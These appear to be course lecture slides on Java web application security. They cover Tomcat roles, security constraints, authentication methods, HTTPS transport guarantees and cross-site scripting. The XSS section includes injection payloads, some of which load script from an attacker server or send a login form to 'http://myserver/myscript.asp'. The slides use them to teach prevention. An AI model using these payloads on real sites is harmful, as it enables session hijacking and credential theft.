COMP 321

Week 12

Overview

Web Application Security Authentication Authorization Confidentiality

Cross-Site Scripting

Lab 12-1 Introduction

Types of “Bad Guys”

Impersonators: pretend to be someone with access

Upgraders: have valid accounts, but increase their access level

Eavesdroppers: listen in on web traffic

Security Answer

Authentication: foils impersonators

Authorization: foils upgraders

Confidentiality and Data Integrity: foils eavesdroppers

HTTP Authentication

1. Client requests protected resource

2. Container returns 401 - Unauthorized

3. Browser asks the user for username and password

4. Browser requests resource again with credentials

5. Container verifies credentials

6. Container returns resource

Authorization - Defining Roles<!-- in tomcat-users.xml (vendor-specific) --><tomcat-users> <role rolename="Admin"/> <role rolename="Member"/> <role rolename="Guest"/> <user username="Annie" password="admin" roles="Admin, Member, Guest"/> <user username="Diane" password="coder" roles="Member, Guest"/> <user username="Ted" password="newbie" roles="Guest"/></tomcat-users>

<!-- In DD --><security-role><role-name>Admin</role-name></security-role><security-role><role-name>Member</role-name></security-role><security-role><role-name>Guest</role-name></security-role><login-config> <auth-method>BASIC</auth-method></login-config>

Authorization - Defining Constraints

<web-app ...> <security-constraint> <web-resource-collection> <web-resource-name>UpdateRecipes</web-resource-name>

<url-pattern>/Beer/AddRecipe/*</url-pattern> <url-pattern>/Beer/ReviewRecipe/*</url-pattern>

<http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection>

<auth-constraint> <role-name>Admin</role-name> <role-name>Member</role-name> </auth-constraint> </security-constraint></web-app>

Sharpen Your Pencil

Consider the code above. What security step must have happened before this snippet runs?

What security step is implied by this snippet?

What part, if any, does the DD play in this snippet?

How do you think this code works?

What if the role of Manager doesn't exist in your container?

// In servletif (request.isUserInRole("Manager")) { // Do something}else { // Do something else}

Sharpen Your Pencil

Consider the code above. What security step must have happened before this snippet runs? Authentication

What security step is implied by this snippet? Authorization

What part, if any, does the DD play in this snippet? It can be used to link the role name Manager to a role defined in the container (as below).

How do you think this code works?

What if the role of Manager doesn't exist in your container?

<web-app ...> <servlet> <security-role-ref> <role-name>Manager</role-name> <role-link>Admin</role-link></security-role-ref> </servlet> ...</web-app>

Sharpen Your PencilBased on the constraints shown below, decide who can access the protected

resources:

<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>

Nobody?Guest?Member?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>

Nobody?Guest? YesMember?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint/></security-constraint>

Nobody?Guest?Member?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint/></security-constraint>

Nobody? YesGuest?Member?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Admin</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>

Nobody?Guest?Member?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Admin</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint>

Nobody?Guest? YesMember?Admin? YesEveryone?

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>*</role-name> </auth-constraint></security-constraint>

Nobody?Guest?Member?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Guest</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint> <role-name>*</role-name> </auth-constraint></security-constraint>

Nobody?Guest?Member?Admin?Everyone? Yes

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <!-- No auth-constraint here --></security-constraint>

Nobody?Guest?Member?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <!-- No auth-constraint here --></security-constraint>

Nobody?Guest?Member?Admin?Everyone? Yes

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint/></security-constraint>

Nobody?Guest?Member?Admin?Everyone?

Sharpen Your Pencil<security-constraint> <auth-constraint> <role-name>Member</role-name> </auth-constraint></security-constraint><security-constraint> <auth-constraint/></security-constraint>

Nobody? YesGuest?Member?Admin?Everyone?

Authentication

BASIC – Pops up dialog, sends login information encoded in base64 format

DIGEST – Sends information in a more secure way, not part of J2EE

CLIENT-CERT – Sends login information encrypted with public key, but requires client to have the certificate installed

FORM – Allows custom login form to be created in HTML, sends login information in the clear

Authentication<!-- Selecting authentication method (works for DIGEST or CLIENT-CERT, too)

--><login-config> <auth-method>BASIC</auth-method></login-config>

<!-- Configuring form-based authentication --><login-config> <auth-method>FORM</auth-method> <form-login-config> <form-login-page>/loginPage.html</form-login-page> <form-error-page>/loginError.html</form-error-page> </form-login-config></login-config>

Authentication<!-- In loginPage.html -->You need to log in<form method="POST" action="j_security_check"> <input type="text" name="j_username"> <input type="password" name="j_password"> <input type="submit" value="Enter"></form>

<!-- In loginError.html --><html><body>Sorry, wrong password.</body></html>

Confidentiality and Data Integrity

<web-app ...> <security-constraint> <web-resource-collection> <web-resource-name>Recipes</web-resource-name> <url-pattern>/Beer/UpdateRecipes/*</url-pattern> <http-method>POST</http-method> </web-resource-collection>

<auth-constraint> <role-name>Member</role-name> </auth-constraint>

<user-data-constraint> <!-- Also could be INTEGRAL --> <transport-guarantee>CONFIDENTIAL</transport-guarantee> </user-data-constraint> </security-constraint></web-app>

Confidentiality and Data Integrity

1. Client requests constrained resource with transport guarantee (/BuyStuff.jsp)

2. Container sends a 301 Redirect to the client for https://...

3. Browser makes same request over secure connection

4. Container sees resource is constrained, so responds with 401, causing user to log in

5. Browser makes same request for a third time with credentials included, and finally receives page

Cross-Site Scripting

A way of putting JavaScript into a vulnerable site that will be executed by other users' browsers

One of the biggest vulnerabilities on the web right now, along with SQL injection

Cross-Site Scripting

Cross-Site Scripting<!-- In form.html --><form action = './preview.do' method = 'POST'>Image: <input type = 'text' name = 'image'><br />Alignment: <select name = 'orientation'><option value =

'center'>center</option><option value = 'left'>left</option></select><br />

Width: <input name = "width" size = "4" type = 'text' maxlength = '3'><br />

<input type = 'submit'>

</form>

<!-- In response page -->http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><img

src = 'http://www.google.com/images/logo_sm.gif' width = ''></div>

Attacker Running their own JavaScript!

<!-- What if we enter the following into the image field? -->http://www.google.com/images/logo_sm.gif'><script>alert('test')</script>

<!-- In response page -->http://www.google.com/images/logo_sm.gif<br /><div align = 'center'><img

src = 'http://www.google.com/images/logo_sm.gif'><script>alert('test')</script>' width = ''></div>

Opportunities for “Bad Guys”

Change page contents

Install malware, and make your site look like the bad guy

Steal cookies, and hijack someone else's session

Strategies for Prevention

Sanitize the inputs from the user, and make sure they don't contain script

Fix the image and width fields in the code that handles form submission. Are we safe now?

Cross-Site Scripting<!-- What if we change the select to a text box? --><form action = './preview.do' method = 'POST'>

Image: <input type = 'text' name = 'image'><br />Alignment: <input type = 'text' name = 'orientation'><br />Width: <input name = "width" size = "4" type = 'text' maxlength =

'3'><br /><input type = 'submit'>

</form>

XSS Audit

David Zimmer performed an XSS audit of a forum site, and posted his thought process here:

http://sandsprite.com/Sleuth/papers/RealWorld_XSS_3.html

XSS Audit

First vulnerability: User name not checked for script tags

Added code to his username:

This is displayed on every page where the user has posted

Evil.js contained a document.writeln

Used server logs to see how many people were affected

<img src='http://valid address/clear.gif' onload='document.scripts(0).src="http://myserver/evil.js"'>

XSS Audit

Second vulnerability: Article name not checked for script tags, but limited to 45 characters

This is 55 characters:

Third vulnerability: User pictures were not validated at upload, simply saved to disk

Upload "image" file, server calls it /images/778237.jpg

Change article title

Now users can be attacked by viewing the article list

Image file is really a script that sends log data, and then redirects to a real image

<script src='http://geocities.com/dzzie/x.js'></script>

<script src='images/778237.jpg'></script>

XSS Audit

Fourth vulnerability: Login handling

When a user tries to go to a page that requires an account, the site redirects to login page with referrer as the page the user tried to visit

If the user can be convinced to click a link with a script in the referrer, then they will be asked to log in and the script will then be executed

XSS Audit

To make the link less suspicious, we can encode the script

Then we can make the login form submit to our own site

http://login.asp?lan=en%2021&count=100&exp=12&ref=%3Csc%72%69pt%20s%72c%3Db%6Cah%3E%3C%2Fsc%72%69p%74%3E

document.forms(0).action = "http://myserver/myscript.asp"

XSS Prevention

Don’t allow script tags Do this with a whitelist, there are too many

possible ways to encode tags otherwise

Validate any content that users can upload to your site - text, images, etc.

Remember that anything running on the client is NOT trusted

Lab 12-1 Introduction

Design solution for the final Lab (13-1)

Define Interface for your Actions

Design Data Model that will hold the info about:– what actions should be used for which URLs– what JSPs should be used for each return

code

Progress Check

Due this week

Due next week

Continue working on Lab 10-1 “JSP User Interfaces”